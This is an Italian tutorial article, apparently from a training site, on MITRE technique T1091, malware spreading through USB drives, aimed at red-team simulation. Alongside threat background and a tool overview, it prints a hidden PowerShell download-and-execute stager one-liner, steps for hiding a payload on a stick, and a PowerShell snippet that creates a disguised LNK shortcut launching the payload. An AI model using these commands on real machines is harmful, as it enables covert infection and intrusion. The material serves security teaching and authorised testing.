Propagazione via USB: Replication Through Removable Media (T1091)

La tecnica T1091 – Replication Through Removable Media descrive la capacità di un attaccante di diffondere codice malevolo sfruttando supporti rimovibili come chiavette USB, dischi esterni, smartphone collegati via cavo dati e persino cavi di ricarica manipolati. È una delle poche tecniche che copre contemporaneamente due tattiche fondamentali: TA0001 (Initial Access), quando il dispositivo infetto è il vettore d'ingresso in una rete altrimenti irraggiungibile, e TA0008 (Lateral Movement), quando il malware si replica da un endpoint compromesso verso sistemi vicini, incluse le reti air-gapped.

Il fascino operativo per gli avversari è evidente: aggirare firewall, segmentazione di rete e controlli perimetrali sfruttando l'errore umano o funzionalità legacy come Autorun/Autoplay. La replica può avvenire modificando eseguibili già presenti sul supporto, aggiungendo file autorun.inf, camuffando payload con icone documento oppure alterando il firmware del controller USB.

I numeri MITRE raccontano una minaccia matura e persistente: 8 gruppi APT documentati, 20 famiglie di malware con capacità di propagazione USB nativa e 3 mitigazioni ufficiali. Il ventaglio va da worm classici come Conficker e Stuxnet fino a operazioni recenti come Raspberry Robin e HIUPAN, dimostrando che il vettore rimovibile non è affatto un residuo del passato ma un canale ancora attivamente sfruttato contro obiettivi industriali, governativi e diplomatici.

In un ingaggio red team, la simulazione di T1091 richiede attenzione perché tocca vettori fisici che possono uscire dal perimetro autorizzato. Prima di tutto, definire nel Rules of Engagement se sono permessi drop fisici di chiavette (USB drop attack) o solo test in laboratorio controllato.

Per la componente HID spoofing – emulare una tastiera che digita comandi appena il dispositivo viene inserito – il tool di riferimento è Rubber Ducky di Hak5 (a pagamento) con il suo linguaggio DuckyScript, oppure alternative economiche come Digispark ATtiny85 (open source, hardware ~2€) programmabili tramite Arduino IDE. Un payload tipico apre PowerShell nascosto e scarica uno stager:

powershell -w hidden -nop -c "iwr -UseBasicParsing | iex"

Per scenari più sofisticati, P4wnP1 A.L.O.A. (open source) su Raspberry Pi Zero W trasforma il dispositivo in una piattaforma multi-vettore capace di combinare HID injection, mass storage emulato e rete USB. Il framework BashBunny di Hak5 (a pagamento) offre payload preconfezionati e switch fisico per modalità multiple.

Sul lato replica software, per riprodurre il comportamento di worm come Agent.btz o Raspberry Robin si può usare Metasploit (open source) con il modulo exploit/windows/browser/ms10_046_shortcut_icon_dllloader che replica la logica LNK di Stuxnet in ambiente lab. Per staging manuale su chiavetta:

  1. Creare una cartella nascosta con attributi attrib +h +s contenente il payload
  2. Generare un file LNK con PowerShell che punti a cmd.exe /c start _\payload.exe
  3. Modificare l'icona LNK per farlo apparire come cartella legittima

Esempio di generazione LNK:

$sh = New-Object -ComObject WScript.Shell; $lnk = $sh.CreateShortcut("E:\Documenti.lnk"); $lnk.TargetPath = "cmd.exe"; $lnk.Arguments = "/c start _\payload.exe"; $lnk.Save()

Per testare la resistenza dei controlli endpoint, Atomic Red Team (open source) di Red Canary include atomici specifici per T1091 che verificano se le regole ASR di Defender bloccano l'esecuzione da drive rimovibili. Il comando Invoke-AtomicTest T1091 automatizza il test.

Infine, per l'analisi del comportamento Autorun su sistemi legacy o macchine industriali OT ancora vulnerabili, USBPcap (open source) cattura il traffico USB grezzo, utile per documentare enumerazione device e handshake del descrittore HID durante l'attacco.

Vuoi diventare un Ethical Hacker ma non sai da dove iniziare?

Accedi alle lezioni gratuite e segui il percorso corretto fin dal primo passo

TEST GRATUITO
2 minuti · 7 domande Che professionista cyber sei? Scopri il profilo più vicino al tuo modo di pensare e inizia dal percorso giusto.
We use cookies

Utilizziamo i cookie sul nostro sito Web. Alcuni di essi sono essenziali per il funzionamento del sito, mentre altri ci aiutano a migliorare questo sito e l'esperienza dell'utente (cookie di tracciamento). Puoi decidere tu stesso se consentire o meno i cookie. Ti preghiamo di notare che se li rifiuti, potresti non essere in grado di utilizzare tutte le funzionalità del sito.

Ok Rifiuta